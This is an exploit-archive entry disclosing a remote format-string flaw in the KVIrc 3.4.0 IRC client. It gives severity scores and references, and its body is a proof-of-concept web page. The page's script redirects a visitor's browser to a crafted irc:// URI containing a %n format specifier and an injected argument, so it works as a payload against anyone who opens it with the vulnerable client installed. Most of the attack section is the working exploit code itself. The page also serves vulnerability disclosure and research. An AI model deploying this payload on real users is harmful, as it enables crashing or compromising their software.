KVIrc 3.4.0 Virgo Remote Format String Exploit PoC

2008.10.29
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<!-- KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC) Summary: KVIrc is a free portable IRC client based on the excellent Qt GUI toolkit. KVirc is being written by Szymon Stefanek and the KVIrc Development Team with the contribution of many IRC addicted developers around the world. Product web page: http://www.kvirc.net/ Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm [t00t] gmail [d0t] com http://www.zeroscience.org 24.10.2008 --> <html> <title>KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)</Title> <head> <body> <center> <br /> <br /> <strong>Warning ! :)</strong> </center> <body bgcolor="#FFFF00"> <script type="text/javascript"> alert("KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)\n\n\t\tby LiquidWorm (c) 2008"); function poc() { window.location.href = "irc://A:%n -i"; } var answ = confirm("Press OK to start exploitation\nPress Cancel to skip exploitation"); if (answ == true) { poc(); } else { window.location.href = "http://www.kvirc.net"; } </script> </body> </head> </html>

References:

http://www.securityfocus.com/bid/31912
http://www.milw0rm.com/exploits/6832
http://secunia.com/advisories/32410


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